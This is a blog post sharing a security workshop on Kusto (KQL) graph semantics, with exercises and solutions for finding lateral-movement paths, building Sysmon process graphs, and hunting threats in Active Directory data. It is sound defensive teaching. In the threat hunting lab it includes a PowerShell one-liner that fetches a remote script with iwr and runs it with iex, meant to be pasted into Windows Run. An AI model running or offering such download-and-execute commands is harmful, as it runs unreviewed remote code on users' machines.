Contents

Workshop: Kusto Graph Semantics Explained

Ho, ho, ho… In Germany on the 6th of December we celebrate “Nikolaus”. Kids put out one shoe the night before in the hopes that, in the morning, it is filled with nuts, mandarin oranges, chocolate or even small gifts. Lucky for you, it seems that you also put out your shoe last night, because I have a gift for you as well. But please don’t confuse me with Nikolaus ;)

At this years DEATHCon I was fortuned enough to present my workshop about Kusto Graph (Kraph) semantics and now I want to share it with everybody. Let me know on social media if you liked it and if you feel generous you can buy me Glühwein 🔥🍷 .

Lab environment

You definitely should setup a small lab environment to play around and solve the exercises.

Log Analytics functions

  • Add the Sysmon parser as a function named Sysmon
  • Save the following code as function ActiveDirectoryEdges
// Save as something like ActiveDirectoryEdges
externaldata (SourceNodeId: string, DestinationNodeId: string, DeviceName: string, AccountName: string, AccountSid: string, EdgeDisplayName: string, EdgeType: string, DeviceId: string, LogonType: string, Timestamp: datetime, FirstSessionTimestamp: datetime, ActiveSession: bool) [ 
h@"https://gist.githubusercontent.com/f-bader/650c20d091f11ce0cf6fcfd21548df53/raw/a310d59fa43bc3855b274849ab101a3e8d4403ad/Edges.csv"
] with (format="csv", ignoreFirstRecord = true)
  • Save the following code as function ActiveDirectoryNodes
externaldata (NodeId: string, DeviceId: string, DeviceName: string, NodeDisplayName: string, ObjectType: string, AccountName: string, AccountSid: string, Timestamp: datetime, Tags: dynamic, DistinguishedName: string) [ 
h@"https://gist.githubusercontent.com/f-bader/650c20d091f11ce0cf6fcfd21548df53/raw/6df770343938898471aca01e4ad639b67f38cf3a/Nodes.csv"
] with (format="csv", ignoreFirstRecord = true)

The workshop

Achtung! External datasource!

The video embedded here is provided by the provider "YouTube LLC", 901 Cherry Avenue, San Bruno, CA 94066, USA, represented by Google Inc, 1600 Amphitheatre Parkway, Mountain View, CA 94043, USA.

When you click on "Load video" below, your IP address is transmitted to YouTube and YouTube learns that you have viewed the video. If you are logged in to YouTube, this information is also assigned to your user account.

Of the then potential data collection and use of your data by YouTube, I have no knowledge and no influence on it.

You can find more information in YouTube's privacy policy at www.google.de/intl/de/policies/privacy/.

Video laden

Exercises

Detect a lateral movement path

Task:
Find a path to access node apollo from a node that has attacked another node

Source:
https://learn.microsoft.com/en-us/kusto/query/graph-match-operator slightly modified

let Entities = datatable(name: string, type: string) 
    [ 
    "Alice", "Person",  
    "Bob", "Person",  
    "Eve", "Person",  
    "Mallory", "Person",  
    "Apollo", "System" 
]; 
let Actions = datatable(source: string, destination: string, action_type: string) 
    [ 
    "Alice", "Bob", "communicatesWith",  
    "Alice", "Apollo", "trusts",  
    "Bob", "Apollo", "hasPermission",  
    "Eve", "Alice", "attacks",  
    "Mallory", "Alice", "attacks",  
    "Mallory", "Bob", "attacks"  
]; 
Actions 
| make-graph source --> destination with Entities on name 
| graph-match //ToDo
    where // ToDo
    project Attacker = attacker.name, Compromised = compromised.name, System = apollo.name

Build process graphs

Preparations

  1. Make sure Sysmon data from your machine is sent to Sentinel
  2. Run cmd.exe
  3. Run powershell.exe within the cmd.exe process
  4. Run whoami.exe within the powershell.exe process
  5. Repeat step 3. + 4. a few times

Task:
Create a detection that find all executions of whoami.exe and output the initiating cmd Process Id Constraint: Use a maximum edge length of 10

Kraphhound - Lateral movement in Active Directory

The queries here are based on static data to familiarizes yourself with the semantics.

  1. Find all lateral movement path from a compromised user to a sensitive user
  2. Find the shortest lateral movement path from a compromised user to a sensitive user
  3. Find the longest lateral movement path from a compromised user to a sensitive user
  4. Find only path were the user has an active session all the way
ActiveDirectoryEdges
| make-graph SourceNodeId --> DestinationNodeId with ActiveDirectoryNodes on NodeId
| graph-match

For a in-depth blog post about this read more here. But don’t spoil your own challenge.

Threat hunting

Preparations:

  1. Open Edge / Chrome / Firefox on your virtual machine (must send Sysmon data to Sentinel)
  2. Copy the following “payload”
    powershell.exe -NoExit "(iwr 'https://gist.githubusercontent.com/f-bader/ddbf7c713637e71edc2d155c6a3db675/raw/1994a7db9156ea8ba1e814cdc4ccedbb891e0eb6/sample.ps1').Content | iex; # Hope you are having lots of fun ✅"
    
  3. Skip if YOLO: After checking the link and verifying the contents of what you just copied:
  4. Click Windows Start -> Run or Hit Windows + R
  5. Paste the “payload” and press enter
  6. Detect this behavior using graph semantics

Related threat intel and coverage

Solutions

Detect a lateral movement path

// Solution:
// Create a graph query that has a path from the attacker node to a compromised node to the appollo node
// Filter the node "apollo" by name
// Filter the edge from the compromised account to apollo to only include "hasPermission"
// Filter the edge from the attacker to the compromised account to only include "attacks"
// Source: https://learn.microsoft.com/en-us/kusto/query/graph-match-operator?view=azure-data-explorer&preserve-view=true#attack-path
// Remark: Modified example
let Entities = datatable(name: string, type: string) 
    [ 
    "Alice", "Person",  
    "Bob", "Person",  
    "Eve", "Person",  
    "Mallory", "Person",  
    "Apollo", "System" 
]; 
let Actions = datatable(source: string, destination: string, action_type: string) 
    [ 
    "Alice", "Bob", "communicatesWith",  
    "Alice", "Apollo", "trusts",  
    "Bob", "Apollo", "hasPermission",  
    "Eve", "Alice", "attacks",  
    "Mallory", "Alice", "attacks",  
    "Mallory", "Bob", "attacks"  
]; 
Actions 
| make-graph source --> destination with Entities on name 
| graph-match (attacker)-[attacks]->(compromised)-[hasPermission]->(apollo) 
    where apollo.name == "Apollo" and attacks.action_type == "attacks" and hasPermission.action_type == "hasPermission" 
    project Attacker = attacker.name, Compromised = compromised.name, System = apollo.name

Build process graphs

let ProcessEdges = Sysmon
    // Process Create
    | where EventID == 1
    | summarize
        by
        Computer,
        ProcessId,
        ProcessGuid,
        ParentProcessId,
        ParentProcessGuid,
        CommandLine,
        Image,
        ParentImage
    | extend SourceNodeId = hash_many(tolower(Computer), ParentProcessGuid)
    | extend DestinationNodeId = hash_many(tolower(Computer), ProcessGuid)
;
let ProcessNodes = Sysmon
    // Process Create
    | where EventID == 1
    | summarize arg_max(TimeGenerated, *) by Computer, ProcessId, ProcessGuid, CommandLine, Image
    | extend NodeId = hash_many(tolower(Computer), ProcessGuid);
ProcessEdges
| make-graph SourceNodeId --> DestinationNodeId with ProcessNodes on NodeId
| graph-match
    (cmd) -[ProcessPath*1..10]-> (whoami)
    where cmd.Image has "cmd.exe" and whoami.Image has "whoami.exe"
    project
    InitialProcess = cmd.Image,
    Path = ProcessPath.Image,
    FinalProcess = whoami.CommandLine,
    InitialProcessParent = cmd.ParentImage

Kraphhound - Lateral movement in Active Directory

ActiveDirectoryEdges
| make-graph SourceNodeId --> DestinationNodeId with ActiveDirectoryNodes on NodeId
| graph-match
    (Account)-[HasPathTo*1 .. 10]->(Administrator)
    where HasPathTo.EdgeType in ("HadSession", "AdminTo")
    // task 4
    // For some reason == true does not work at this point and == 1 has to be used
    //where ( ( HasPathTo.EdgeType == "HadSession" and HasPathTo.ActiveSession == 1 )  or HasPathTo.EdgeType == "AdminTo" )
    and Administrator.Tags has "Sensitive"
    and Account.Tags has "Compromised" 
    project User = Account.AccountName, Path = todynamic(HasPathTo.EdgeDisplayName), PathEdges=HasPathTo.EdgeType, DomainAdmin = Administrator.AccountName, IsActive = HasPathTo.ActiveSession
    // This helps with task 2 + 3
| extend PathLength = array_length(Path)
| summarize by User, tostring(Path), tostring(PathEdges),tostring(IsActive), DomainAdmin, PathLength

Threat hunting

/en/workshop-kusto-graph-semantics-explained/images/kraph-result.png
The example result of the threat hunting query

# Sorry, but "Knecht Ruprecht" has lost the answer for this one.
# But here are more hints to steer you in the right direction:
# * What happens after you start the first PowerShell?
# * Look at Sysmon EventID 3
# * One node can have multiple edges of different kind, separate them by comma (it's in the video)

Happy Nikolaus

/en/workshop-kusto-graph-semantics-explained/images/happy-nikolaus.jpg
Created with Bing - And yes, Knecht Ruprecht is a thing in Germany...even if this might be a slight exaggeration